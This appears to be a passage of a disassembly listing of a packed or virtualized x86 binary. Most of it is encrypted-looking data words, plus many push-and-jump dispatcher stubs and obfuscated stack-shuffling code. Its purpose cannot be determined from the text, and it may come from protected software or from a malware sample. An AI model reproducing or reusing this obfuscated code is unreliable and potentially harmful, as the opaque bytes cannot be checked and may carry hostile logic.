		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6199D37h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 0C6h
		dd 7A57A916h, 35126459h, 0EFCC1E9Dh, 0A481D3E6h, 0FF388A33h
		dd 0DDE0F7B9h, 9623AE8Bh, 4E716744h, 4B71FFCh, 181EA6B2h
		dd 580B7B32h, 13E44B46h, 0ABB1F9A5h, 57EB9A92h,	0BF8CD4FCh
		dd 149E517h, 1B58FB28h,	82543183h, 13818D39h, 6535FAACh
		dd 4AA24E6Dh, 5D3A7F3h,	0B58B2CAEh, 12AA8A76h, 343A02CAh
		dd 580B4D4Eh, 0C70B3A62h, 5E04FFCBh, 0BE8BD3FBh, 7951A318h
		dd 7A9DA9A2h, 0BEED59CDh, 509823B3h, 109C8288h,	88B05E24h
		dd 75E3EF59h, 0ECB981C9h, 5DA1D0E9h, 641739FEh,	7CEECCF4h
		dd 4D327853h, 9965563h,	6B710000h, 0AE250254h, 0F2E0BD0Fh
		dd 3B9A77C9h, 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h
		dd 0A7F9C612h, 5DAF0CCAh, 0DDC3C951h, 0F1580B7Bh, 40178FF6h
		dd 0F4224F41h, 0DAE51402h, 0AA77BFFCh, 0BFFED92Bh, 0F423BB13h
		dd 62597D8Ah, 1AC63410h, 34D005D2h, 19711D9Eh, 844C5281h
		dd 0F0E820B7h, 748B37CFh, 8314ECD3h, 5C8B2328h,	0E6008518h
		dd 1FCBF357h, 6DFF7D9h,	64557C58h, 9528ABB8h, 0F5DBE1E9h
		dd 95806DFh, 0C9896DE1h, 7E4B21E8h, 61B9655Ah, 29A2E032h
		dd 0F8D8F63Ch, 42C2h, 0A513D900h, 0E8ABB1F9h, 0B657E502h
		dd 0BA9CE28Eh, 3F580602h, 8D737994h, 0A1580602h, 2835E179h
		dd 54C04FAFh, 5BD64DA1h, 20C217C3h, 0DD94C062h,	0C91AD76Dh
		dd 0A486A31h, 0D8FBD491h, 0D12AF8h, 12410000h, 3E4BF7C4h
		dd 6B782499h, 97A4506Bh, 142A7C3Fh, 51F1EC25h, 479922B4h
		dd 3E9A6C6Ah, 313DE981h, 0CDD31BC3h, 57E50592h,	0EAC61840h
		dd 0BF8CD47Ch, 7076A518h, 0FADD3E6Ah, 5EA6CE5Dh, 0E2C8CE96h
		dd 0F65E1CBDh, 43949FCEh, 0E3F410C5h, 3ED62EDAh, 607754A6h
		dd 94404F9Eh, 0E27AE66Ah, 94817004h, 75836D38h,	84Ch, 4C9E21BBh
		dd 759646Fh, 0C113A82Ah, 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h
		dd 2EA380D2h, 7C5C398Bh, 0C214F143h, 139BA7F9h,	0B7D270Dh
		dd 0D9403B58h, 42C24017h, 0E82CD8A3h, 8A9B5F91h, 0D40310A7h
		dd 0D9FA0EC9h, 48E038E4h, 87511EF6h, 0D8FE0938h, 0E859A52Eh
		dd 7A5CC9B5h, 60B864FCh, 622C1218h, 184051F2h, 13752E80h
		dd 0ABB1F9A5h, 57E502E8h, 9CE28EB6h, 580602BAh,	7723963Fh
		dd 0A24E6B6Ah, 0C72A688Ch, 8DBCDE00h, 79A811C0h, 0D9D6580Dh
		dd 3E2F06F8h, 0D692A7E2h, 0D59D0332h, 95000000h, 7FAE0FC8h
		dd 494F1798h, 51F1E863h, 15204F77h, 0DBB2FAC1h,	0F6ACCCCDh
		dd 7DE7161Bh, 0AA566770h, 0EED4DAA2h, 251F2CCh,	7867ABDAh
		dd 0C51F2D1h, 0D926993Fh, 8792C1F8h, 3D1A6C4Fh,	6A762299h
		dd 60C54FCh, 57E5EACBh,	23FF5179h, 0BBC109B5h, 5DFBBEA0h
		dd 0D8BEC48Ch, 0EC5E1D9Eh, 0E91195C4h, 503D4A1h, 0E53DE9D0h
		dd 5623FB4Dh, 40F3E7Bh,	4E343AD3h, 625E1D9Fh, 0BAC4A23Ah
		dd 373892CEh, 7263F4Dh,	0FBE10000h, 3E9572C4h, 82502D7Fh
		dd 0CB0AE739h, 18BF9CEEh, 9E1A53A5h, 0A6F8C512h, 5FB108C9h
		dd 17695682h, 0CD1F9C3Ah, 4D3339C1h, 61580B7Eh,	0C512FF66h
		dd 0F7CEA6F8h, 878CC79h, 6E79A806h, 83389E68h, 9287FD7h
		dd 0F6E6EA4Eh, 0DF98EA82h, 4BF7C412h, 0D123983Eh, 0F1E7D9BBh
		dd 428C6351h, 413AA335h, 23919BCAh, 9E6B337Bh, 84DC8835h
		dd 3A021155h, 715857ECh, 43DEEA03h, 0FF47DFDFh,	0CF17A432h
		dd 0FDA8E4F8h, 84B350EDh, 7C3F9774h, 0DAFBC8D0h, 0ACDB33DFh
		dd 448C34A2h, 0FF620F3Eh, 9F7DA55Dh, 38902AE9h,	7924321Ch
		dd 8E000006h, 421F714Eh, 0FDDA2C91h, 0B794E6D5h, 6C499B1Eh
		dd 0C700526Bh, 0A518BFF1h, 5E5B7653h, 16A92F0Ch, 0CCEFE7C4h
		dd 0E0E66E7Ah, 580B7EFAh, 12AC130Eh, 3E4BF7C4h,	0A24A6498h
		dd 1005901Bh, 0F65ACC78h, 8536A054h, 9A62703Dh,	0F72A7B1h
		dd 57039BFDh, 4838BF40h, 9D354C9Dh, 3694F55h, 557D51F2h
		dd 8DD81626h, 71FEEDD6h, 7, 1AF1188h, 0D9680000h, 51F1E7F7h
		dd 0A6A00F7Dh, 0D8BB7F72h, 61297109h, 0F280755Bh, 0ABB18951h
		dd 51F27FC5h, 0EA19B1D9h, 32EADEE4h, 3D1A57ECh,	438B239Ah
		dd 95B6076h, 6511AA2Ch,	0FB43EB59h, 0FF5EC6F5h,	0C80DDA5Dh
		dd 163EC2F1h, 902F5A38h, 0C7D5BF38h, 5B4h, 0E4368953h
		dd 9FF1CC07h, 59AB10C2h, 0E60597Ch, 0C517A631h,	53842C8Ch
		dd 963B186Ah, 0E4F4D123h, 2AAC89DBh, 0AB333F91h, 0B7FBFA5h
		dd 71D8D358h, 4BF7C412h, 0DB23983Eh, 0C8F7C40Eh, 0CA88EC5Eh
		dd 0C517A432h, 0EDF1DE87h, 0B2B880FEh, 51F1F3CCh, 913D7C59h
		dd 928C7339h, 6E48735Eh, 2B91C058h, 7, 0F31142h, 13680000h
		dd 0E9B1F9A5h, 5602BB1Ch, 728BCFFEh, 5A57EB9Ah,	7AA68C92h
		dd 5429580Bh, 0B39DB596h, 0F6254D13h, 3A024A72h, 0B574E34h
		dd 8E7B6258h, 6EEC6F2Eh, 0CED41CB4h, 580B74E8h,	9FA5D4FCh
		dd 0F4C90AD7h, 0B6C1F048h, 9412DC20h, 3FF8A1D3h, 41925FA7h
		dd 4978D07Ch, 917A5C39h, 0B6FA58Bh, 4B313758h, 5F580B70h
		dd 1497137h, 0B7015FBh,	69012958h, 0EEE8B5BDh, 26949ECDh
		dd 302C327Ah, 605E0523h, 29C8288h, 88B05E25h, 75219C3Bh
		dd 703D851Dh, 400D5566h, 0F6DB2891h, 0A78494C3h, 0D4E08C2Fh
		dd 0A572BA66h, 545A8930h, 182BEF4Eh, 0DFBDE564h, 327761BDh
		dd 8D788670h, 7A000004h, 2E0B5D62h, 0E9C618A5h,	0A380D2E9h
		dd 58358732h, 0B3EC3E7Fh, 912CAB05h, 4A6F623Fh,	2BD1BF8h
		dd 0B803D3B0h, 0CCD25A66h, 580B80E6h, 1198FFFAh, 141h
		dd 0F9A51368h, 9512E9B1h, 17356DDh, 8734A2EFh, 79FB1458h
		dd 3D6557ECh, 41272DF5h, 55580C5Ah, 2BF8FE2Dh, 0E1BE10ABh
		dd 2A1016F5h, 3E580C5Ah, 0CAD27E16h, 0B8E7D6FDh, 489040AEh
		dd 9823B380h, 216594ECh, 5E060D25h, 1F050BD3h, 0AC5E25EDh
		dd 90E89425h, 0EF73A2CAh, 0B1B77FC7h, 5E25ECCBh, 8288B7DFh
		dd 529A21B5h, 0EC9E848Ah, 0CBB25E25h, 9F6ED78Fh, 3C6B03BFh
		dd 84874F2Ch, 262E987Eh, 0A3C5AC5Eh, 11573E4Bh,	0FBB53EBh
		dd 209D3A07h, 0E3ED1C74h, 7B81C975h, 641A011Ch,	9A0CEA12h
		dd 0A732758Ch, 3AEAFBDh, 83590000h, 0C60DEA3Ch,	0AC8A5F7h
		dd 53825FB1h, 0A0371466h, 2692CB1Dh, 1E704D8Ah,	0D7299041h
		dd 8FE1DEFAh, 459724B2h, 0C5ABB139h, 0D9580B81h, 0C41277DEh
		dd 983E4BF7h, 0C90EDB23h, 9129943Fh, 0F45E8DE5h, 0C87C1E82h
		dd 0E1DAF80Eh, 0ACB9F749h, 52FEEDF1h, 41h, 0F9A51369h
		dd 5440ABB1h, 0F5CC57E5h, 73707B71h, 66537EC8h,	0FDFF77CEh
		dd 554E5DF6h, 327AA226h, 64E6D65h, 76229939h, 0C9DFEF1Eh
		dd 580690E6h, 52696Dh, 7A57AF23h, 0EDFBA73Fh, 318h, 874A1744h
		dd 0C9F0E532h, 76498F9Ah, 0E1F5C2CAh, 0A7D62EDAh, 2F813A9Ch
		dd 8B378452h, 1163587Eh, 0CF17C735h, 0E53936C9h, 0D07CA457h
		dd 618A88Ah, 0F191B358h, 5A657340h, 0CD963C03h,	93C24E5Eh
		dd 0D9CD3E27h, 72C0F8h,	17D70000h, 85318E4Ah, 86F4FE2Dh
		dd 5359B025h, 51F1E86Dh, 29C15981h, 0FBC414E1h,	0C2C8F74Fh
		dd 0E502F9BCh, 0F39FC757h, 6E9714EBh, 3342B358h, 84DEC004h
		dd 74635806h, 43909D49h, 0C0C6CE7Ah, 580684DAh,	0B014C6EEh
		dd 72480F92h, 0E6B7079Bh, 6998E2F8h, 5607B17h, 59F8D970h
		dd 95857E82h, 0CD287F3Eh, 50B6E5E0h, 0F7h, 63567B48h, 49305FB7h
		dd 7D874A17h, 20CC645Bh, 488E99C8h, 1DBAC773h, 4A8B58A0h
		dd 0C9D6406Fh, 8F66AE0Dh
		dd 4D52C693h, 44AEDD13h, 0CA1C9F37h, 0F2DCC5B4h, 39825451h
		dd 37380FE7h, 0BA7BB010h, 65717CABh, 0E2370E56h, 6DBF8380h
		dd 8933194Eh, 329AF632h, 1F8D9903h, 925F276Fh, 74B7A3Fh
		dd 57E59264h, 0A078CAF2h, 71ECD2D8h, 28005806h,	6723C22h
		dd 90285058h, 45E95761h, 4A74F7FDh, 9AC25DFBh, 0EBC28A52h
		dd 7ACBDBEAh, 6E54DAF1h, 825E1DD9h, 0B7202B5Ah,	0D7B406h
		dd 6C1297FEh, 0F68EF1EEh, 92D69818h, 0C5D3BD38h, 1B4h
		dd 0E4368953h, 9FF1CC07h, 59AB10C2h, 0E60597Ch,	0C517A631h
		dd 53842C8Ch, 963B186Ah, 0E4F4D123h, 2AAC89DBh,	0AB333F91h
		dd 0B83BFA5h, 71D8D358h, 728E4A17h, 9289DD58h, 0EA962E20h
		dd 7F586392h, 0C70FEC3Eh, 13E9A2F4h, 0ABB1F9A5h, 57E502E8h
		dd 9CE28EB6h, 580602BAh, 5168923Fh, 0B1D932B8h,	0F805B149h
		dd 0BC32DEDFh, 0F0B73A58h, 338A4D1Ah, 0AE002F87h, 0A36EF7ECh
		dd 28F0F8D9h, 6423C22h,	0F9285058h, 0AD93h, 0C412AA00h
		dd 993E4BF7h, 43327824h, 0D251F1ECh, 8D65B704h,	4FA617C0h
		dd 3A0A3E5Bh, 5C679654h, 8995417Ah, 252B731Bh, 57E5C482h
		dd 0BA96E810h, 8F5CA44Ch, 0D8BEC447h, 0EC5806A3h, 28802CC4h
		dd 0C9EDF3F9h, 595DFB77h, 7312E931h, 0E345B00Fh, 0DBA8AEDDh
		dd 926FC1FCh, 0AA15C345h, 0DAE1F1FEh, 0EECCAA42h, 7B389308h
		dd 0BE8391h, 93490000h,	0D6FDDA2Ch, 1AB895E7h, 63724FA1h
		dd 0B0270456h, 3682BB0Dh, 0E605D7Ah, 0C719A031h, 7FD1EEEAh
		dd 358734A2h, 0B59BA129h, 0C9580B84h, 0C51267CEh, 1CEA6F8h
		dd 0E63EEAD1h, 912AACB7h, 0C412863Fh, 0F1E2AFF7h, 26339DCCh
		dd 0DDB90BB0h, 7177BF6Fh, 57EB9A8Dh, 38854E1Bh,	0B15D8509h
		dd 8467D2A9h, 8733884Eh, 0A8D82Fh, 0C80E1948h, 12C4A1F3h
		dd 15B7FDA9h, 0B14B7A7Ch, 34FC0D4Dh, 9C5C482Eh,	0DD345C6Bh
		dd 0D9CC5AF5h, 3F4A795Ah, 886E7497h, 9C6B9C72h,	0AD8ADC74h
		dd 0D9E69229h, 0BC11BDFCh, 12C4781Ah, 0B27F57A9h, 616C9B20h
		dd 8C9A4675h, 8, 0DDE0F7C4h, 7DE4C7AEh,	49F5CA12h, 75219A3Ch
		dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh
		dd 8733884Ah, 0B864597Ah, 0E6895633h, 4C681h, 0B8500000h
		dd 4, 8758C629h, 525C2434h, 0C281E289h,	4, 8704EA83h, 895C2414h
; ---------------------------------------------------------------------------
		or	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+0], edi
		push	5864h
		mov	[esp+0], ebx
		mov	ebx, 74910FAFh
		mov	ecx, 72889C1Bh
		xor	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	edi
		push	ebx
		mov	ebx, 8
		add	ebx, 52C94D69h
		add	ebx, edi
		sub	ebx, 52C94D69h
		mov	[ebx], ecx
		pop	ebx
		mov	edi, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		mov	ecx, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		dd 744CDDDFh, 0C42A9AC5h
		db 68h,	5Eh, 0B6h
; ---------------------------------------------------------------------------


loc_5A2AAB:				; CODE XREF: sub_5A1E95:loc_5A1F34j
		mov	eax, 6199E1Ah
		add	eax, ebp
		jmp	eax
sub_5A1E95	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 3E9ABC72h, 0D6DCC83h, 161830D2h, 7EA70D62h, 1C7A3926h
		dd 1A11DD36h, 5413302Bh, 85AEA30h, 3FA360A9h, 0F580F9Bh
		dd 30B17359h, 359AE94Dh, 6C8BDFDFh, 5DC7B5C3h, 0A0068D8Dh
		dd 6A0619h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 525841C3h, 2205B529h, 60580614h, 1AD5B58Bh
		dd 9D8B0614h, 61421BDh,	298D8961h, 6A061432h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8B03C357h, 85B58BC1h, 0C7061425h, 14064D85h,	5C4C06h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0D6AA2F1Ah, 0C83EB682h, 267185C7h, 614h
		dd 1F90000h, 142E0D9Dh,	91B5FF06h, 6A061405h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 7411C357h, 95FFF5C8h, 6142361h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0BDC35747h,	0F9231298h, 1921858Bh
		dd 6A0614h, 116995FFh, 0C08B0614h, 0DF9A7FEBh, 610CB1B6h
		dd 50B2652Bh, 0C7B8FC45h, 4E9D307Fh, 0C05924EFh, 8C06DCDFh
		dd 1C09A99Eh, 11E6A0B6h, 8575461Eh, 0A8383968h,	687135EDh
		dd 58CD9165h, 36B3F9EBh, 359C9D1Eh, 5382F52Ah, 967DDCCCh
		dd 82C94D4Bh, 0EE4D2EDFh, 152DDA59h, 0F68451C5h, 5A2D11E7h
		dd 2BA5FB6Ah, 0E6F12939h, 0DB1458D0h, 6CF4E4E2h, 0E0B90171h
		dd 0DD07536Bh, 5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h
		dd 0EE9CAh, 0EE9E0000h,	339C4EC4h, 77E7h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5A39F3
; ---------------------------------------------------------------------------
		push	619A22Ch
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619A30Ah
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619A46Bh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619A5D1h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619A7A3h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619A9BAh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619AB59h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	619AC8Ah
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 4, 0D8h, 0E7h
		dd 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh, 357B3D76h
		dd 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h, 8870565Ch
		dd 8984580Bh, 42C41222h, 28802C91h, 0FFD7E490h,	208E6ABCh
		dd 8F222870h, 7B57E539h, 0EC9825AEh, 1AC6F9DFh,	77FB2AC2h
		dd 7B5DA34Fh, 86580619h, 15F5E3B0h, 0F74FFBC2h,	0BCDE305Fh
		dd 0D9BD3E27h, 2CC0F8h,	13D70000h, 0ABB1F9A5h, 57E502E8h
		dd 506B6734h, 991D4CA4h, 0F0BDC571h, 63A7D6E7h,	58060381h
		dd 0B3286A8Ch, 0F8D9D6B2h, 0DF4Ch, 0C4126300h, 6C434BF7h
		dd 30F2C311h, 3641704Eh, 4C6F67A1h, 68B048A0h, 95E95491h
		dd 0D3CBCA4h, 7B4096A3h, 0A714C2CFh, 218C3F55h,	23B351F2h
		dd 6D694698h, 2896A24Eh, 0E0DBFBC8h, 7056DC34h,	8451F221h
		dd 767CC45Ch, 57E53A3Bh, 813E9A67h, 0CA4E7DD5h,	448D5AA2h
		dd 184F1E75h, 8DBF1D94h, 4724E5Eh, 8C47145Ch, 0B460597Ch
		dd 0C018C45Ch, 59858B91h, 0E95DFB2Ch, 2BAC79C1h, 0A0684092h
		dd 1D0CB49Ah, 58A0C85Eh, 1D0D6C52h, 2958805Eh, 2604B91Eh
		dd 38936E8Ch, 42D5E3CDh, 3E00000Bh, 0F2CF219Eh,	0AD8ADCE1h
		dd 67449625h, 1CF94B6Eh, 77B002BBh, 55686F41h, 0EAB2603h
		dd 0C6F9DFBCh, 7C3F9774h, 90961E2Ah, 580B89AAh,	125CC3BEh
		dd 5C4248C5h, 7051F1E8h, 815EB048h, 5B146655h, 63494F17h
		dd 7751F1E8h, 0A816204Fh, 0CAD9B0F8h, 1BF2A7C7h, 49959853h
		dd 0C159A6FFh, 0C3868C92h, 9157E583h, 9577BD69h, 0A0580682h
		dd 9EC7DC7Eh, 60F8D956h, 0C4h, 73468B58h, 59406FC7h, 4BF7C412h
		dd 7824993Eh, 0F1ED7F32h, 0D630A651h, 0BB13BFFCh, 0E2F4D123h
		dd 0B3212DD9h, 82BDC30Bh, 3057E506h, 7DEB608h, 0FADCCD33h
		dd 66BD15C1h, 0E716567Ah, 77BF6FDDh, 0FB4D5671h, 549CC45Dh
		dd 19B85087h, 2ECA53E1h, 0A63EF6E2h, 0F8DFBC0Eh, 86D5E7C5h
		dd 0AE983893h, 0A64A0h,	0FFC01C00h, 0BA03D0ADh,	74478B68h
		dd 29904522h, 0E0DDFAD7h, 4D63558Eh, 4E1338Ah, 0BD9AECCDh
		dd 7552A41Bh, 0FC085A61h, 8B886E74h, 0A19C580Bh, 0F8C5123Ah
		dd 0CBEEE3B0h, 2B11171Fh, 3F51F1E8h, 9F327F17h,	0E7166E1Ah
		dd 0DFDCFAD7h, 0E3C9CF97h, 0F751F1E7h, 67FFBC1Ah, 83502838h
		dd 553C6B4Eh, 63494F17h, 7751F1E8h, 0C115204Fh,	95414EFAh
		dd 8AF8D426h, 0D9989EE6h, 8F57E51Ah, 9275BB67h,	9F5805F9h
		dd 9FC6DD7Dh, 5FF8D9DBh, 695h, 5FF38057h, 441CA414h, 0A5132E15h
		dd 0F3E4B1F9h, 53FFBE15h, 2E3463FBh, 70018F66h,	134A73E0h
		dd 46E1A0E4h, 0BF9757E5h, 625D3B9h, 0CC0AE758h,	53EB43EFh
		dd 0E7C90FBBh, 0F2580625h, 0B27FB2D0h, 0FD699825h, 0F8D9AF68h
		dd 64896h, 0A513AD00h, 0F2E4B1F9h, 96C51DC9h, 1B878A90h
		dd 0ADD557E5h, 0FBD9BB01h, 0EE45805h, 7D299041h, 0E6A4F625h
		dd 0D9D978EDh, 840FE6F8h, 13135D17h, 12187EADh,	2F000006h
		dd 60CE6BD1h, 176268B0h, 0E557E502h, 0EDC81CBDh, 55E3F84Ch
		dd 0E9EF37E7h, 0EA0E5DC2h, 11E83058h, 0A365CB84h, 0A40E3DFFh
		dd 3E862A98h, 22334338h, 54D75F0h, 5A63703Dh, 1C2756AEh
		dd 0D2AF01BAh, 0EDD9B704h, 94A66D47h, 9039CAAh,	5F7D0000h
		dd 0A2310E60h, 0E6ECC91Bh, 2FA683D5h, 7C5B388Ah, 2B6EF41h
		dd 429429AEh, 0FB4D6C65h, 0B305BA1Eh, 69BB00D6h, 0E9CFD55Dh
		dd 0FD580B8Bh, 4F179B02h, 0F1E86349h, 204F7751h, 4EFAC115h
		dd 0E42CD442h, 33864F1Ch, 0BC002F87h, 57EB8947h, 0E9FF5179h
		dd 580B87D7h, 87D5BBC1h, 0C1E9580Bh, 70C6936Ah,	0B54D9055h
		dd 0F6C511DCh, 0B35BC8A4h, 82379E6Bh, 0B8854D53h, 2E72A11Ah
		dd 580B5730h, 0FBC215E2h, 0EC9825AEh, 0B9E16594h, 30D6000Dh
		dd 106814A5h, 15AD10C3h, 1D23EBC3h, 580B5737h, 7653644Bh
		dd 0E0054034h, 0E3D51948h, 88580BCAh, 0A318BA50h, 7ECC30Bh
		dd 0B574E81Bh, 0F0CDDD0Ch, 0E329D5E6h, 580B2301h, 0B8F0C75Fh
		dd 89B6290Fh, 0B1D12352h, 18605B7Bh, 86328D4Bh,	12EFFF2Eh
		dd 5B4147C4h, 6F580B3Eh, 44AFA388h, 942CE89Ch, 280A50FCh
		dd 0AD580A5Fh, 0DEEB9726h, 0A719C5FAh, 0DA20743h, 0C1152F6Bh
		dd 832F8E45h, 744B932Bh, 4490965Fh, 1D2D5C3Fh, 1343Fh
		dd 0C4129600h, 9A3E4BF7h, 4D337925h, 0DA51F1E8h, 0A077BFFCh
		dd 1174AD93h, 0F8629154h, 1C227EECh, 51F29336h,	428A224Ah
		dd 4D5C6C6Bh, 7EC6235Ah, 0F2A39278h, 4F7EA651h,	45CE4349h
		dd 0D80057ECh, 0A436D6FAh, 0C7D5BF3Eh, 79Dh, 74C6F9E3h
		dd 2F813C97h, 0E93B8052h, 9EF0C90Ch, 55A716C1h,	0C3149C1Ch
		dd 6CBA8FAh, 548461B3h,	9A3C196Bh, 3BC3CF21h, 0B8D4F35h
		dd 1686358h, 308D4A17h,	0DBE0F601h, 8B5222Fh, 0BFFD9B6h
		dd 85AF2CDh, 8A746330h,	8420EBC3h, 0D8841CAAh, 4B00BCBh
		dd 0DAE514ACh, 0F1CE0AFCh, 0E28E2FA4h, 0C3A0F28Ah, 0F0FDA914h
		dd 3A2026E7h, 4E51F25Dh, 70E28E26h, 21B64E0Ch, 4C87549Ch
		dd 5CD5BBC1h, 0C1E951F2h, 0D8257D29h, 0B810BCFDh, 2A3B7989h
		dd 0D4FEED7Dh, 7, 0B611EBh, 17680000h, 0B8092F40h, 0F9283C88h
		dd 27D3E8EEh, 0F1E3FFE1h, 0FE63C51h, 7048DC99h,	5B81BDDh
		dd 3A690159h, 4492AAE8h, 90482577h, 5A3D832Fh, 0C151F21Dh
		dd 3F9953EFh, 1CE4CAD0h, 1BF851F2h, 0FF5703B6h,	0A57DCF67h
		dd 90BF00D8h, 44C612A9h, 257D2992h, 11D9E18Dh, 0F1E8250Bh
		dd 0E2113951h, 12BE01D7h, 3EEAD105h, 6D19A031h,	92173357h
		dd 0FA00C8E0h, 51F1E814h, 0CBB96A97h, 0D399013Bh, 682A7CABh
		dd 69BB04D4h, 0F1EFC453h, 0CC9A4851h, 34FEED06h, 0FFFFFE82h
		dd 494F174Bh, 51F1E863h, 0E809EFF5h, 0F51D51F1h, 0CCD8072Fh
		dd 311h, 1C9F3704h, 2E91870h, 9042C412h, 0C7F4DE2Bh, 7F2BC31Bh
		dd 0D12DAA77h, 82E3EE06h, 5B8A220Ah, 0F2BE2517h, 1CE9C151h
		dd 15905B6h, 0EF9B24B4h, 74166897h, 53A516C0h, 979C6076h
		dd 32C8588Fh, 0EE9A25B3h, 0BA66FE96h, 0F2B48274h, 725F2C51h
		dd 0C90D1847h, 0CC3A46F2h, 0A753666Fh, 0EB83389Ah, 3D430B53h
		dd 51F2B557h, 0E14436Bh, 5E5D7946h, 0E72B5AB2h,	57EC5672h
		dd 3C9E7CA4h, 6D3EA425h, 5CB7583h, 27B50000h, 6A694698h
		dd 0AE240153h, 0F7DEBB0Dh, 449370C2h, 0CAEE2779h, 7ACCF1E6h
		dd 3385349Dh, 0EB3D8256h, 0A1F3C80Eh, 21070D95h, 35580B8Fh
		dd 0C412D33Ah, 993E4BF7h, 0E1F5D224h, 2CAB88DAh, 597C4991h
		dd 0BAC73160h, 0E7F4A01Dh, 1825D1ECh, 0E05602BBh, 29DBDE7Ch
		dd 686F85C5h, 0A0C50355h, 5EFEEDEDh, 225h, 43A61375h, 5A5F7292h
		dd 12BE56AEh, 6E7622BAh, 0C4DA7B97h, 0A800AC0Dh, 0AE473251h
		dd 896B3B7Fh, 3052AE9Fh, 4CEC7912h, 0F612FFFEh,	29000001h
		dd 2F8C4A17h, 0F2FC2B83h, 11AA2885h, 452B3179h,	0D751F1E8h
		dd 28E7C500h, 34B60DAEh, 0B93D6C74h, 0CF9FE591h, 0B6AE9F31h
		dd 88DDF694h, 76FFFEA3h, 1C1h, 43A6138Dh, 237B2792h, 433D438Bh
		dd 6F51F1E8h, 3137FF47h, 51F1E84Bh, 9E08375Fh, 9EE78858h
		dd 0D1996FAEh, 0E0E6E5CBh, 0A2D1F950h, 0CC993250h, 32FFFEEEh
		dd 189h, 0F8A61349h, 0E7ACAAB0h, 0B8E051F1h, 0E6F6C60Ch
		dd 0BBDDAE9Eh, 369D6A9Fh, 5483DB87h, 0FEEE7DE8h, 16381FFh
		dd 17980000h, 2318E4Ah,	30DCDFF7h, 0B608B323h, 7CC46CDAh
		dd 0E538E376h, 63745157h, 956AE5Ah, 0EA42EECDh,	1D330A52h
		dd 690FCC94h
		dd 0D01680AFh, 58062FEEh, 20BBD7F9h, 0F8D9A645h, 654B5119h
		dd 79580638h, 31BC2251h, 0D3000000h, 0B1F9A513h, 0E502E8ABh
		dd 0E28EB657h, 602BA9Ch, 27EFC558h, 6033B21h, 804BBE58h
		dd 8ABF6A18h, 1B6D9CC4h, 9201647Fh, 0B9FDF8D9h,	14000000h
		dd 0E3154017h, 87A56BEEh, 0F2699B81h, 0EF87AF51h, 0DB21B5C0h
		dd 0AF4CB66Dh, 2F770FA9h, 533A6858h, 0FFE33A85h, 0C2FBD8E5h
		dd 8491FB2Ah, 0B6BE6A53h, 25D1E8E9h, 43939ECDh,	17BFCC78h
		dd 893C52A4h, 0B051F228h, 67439526h, 70D55F9h, 57E6FD6Eh
		dd 71488956h, 0BA3E6DC5h, 5A7D4A92h, 0A3341163h, 0DD7E646Ah
		dd 6A925808h, 9EF0F4D2h, 0E3CD3EA7h, 3B4D5h, 0AF10CC00h
		dd 6A53805Dh, 24973B18h, 0D9E0F5D2h, 902DAA87h,	0FDB3053Eh
		dd 0B491E3DAh, 6D4A9C1Dh, 2502546Bh, 0ACB80AB1h, 91381E24h
		dd 514C580Bh, 0F8C512EAh, 0AE0DC9A6h, 0B2989E66h, 0C651F1E7h
		dd 0A65F6F9Eh, 4BF7C412h, 0DB23983Eh, 4CF8C50Eh, 0E8583E44h
		dd 446C51F1h, 45785FACh, 0DF00616h, 9951F1E8h, 83B20BCCh
		dd 1B630B79h, 0E51DEA15h, 0FE507857h, 0F7C41245h, 0FBE1E7AFh
		dd 0F51F1E7h, 414EB8E7h, 0F8D42695h, 989EE68Ah,	57E53905h
		dd 599F4B73h, 58061877h, 0A9226082h, 0F8D9BDBCh, 6CFCBA2h
		dd 4AA11AB8h, 0D2011FA1h, 766Ch, 40178300h, 2723EE42h
		dd 777DC501h, 51F2C591h, 444E7DA5h, 0A85C75D6h,	60F89029h
		dd 0E14F1218h, 401D57E5h, 227A2697h, 0E0EED4DAh, 0DA025806h
		dd 5F23FA42h, 70EEAE2Bh, 91990332h, 7DAC0DC4h, 6585739h
		dd 0BF8C6258h, 0EDFAA619h, 0CF27D3EAh, 2D7FE037h, 0E5E24D48h
		dd 0AD2664B6h, 0F8D92FB8h, 0E346h, 84673E00h, 20B35DACh
		dd 0A6B1979Dh, 9DC55806h, 12EFD605h, 3E4BF7C4h,	6B782499h
		dd 3108506Bh, 8250AA91h, 51686DBEh, 13208AB9h, 90A6F8C3h
		dd 51F275DDh, 97E9D204h, 0E9EF1CBAh, 51F27503h,	0F57EF17h
		dd 0F9289542h, 6915838Fh, 0C6781B21h, 0DE0657E5h, 9E42B08Ch
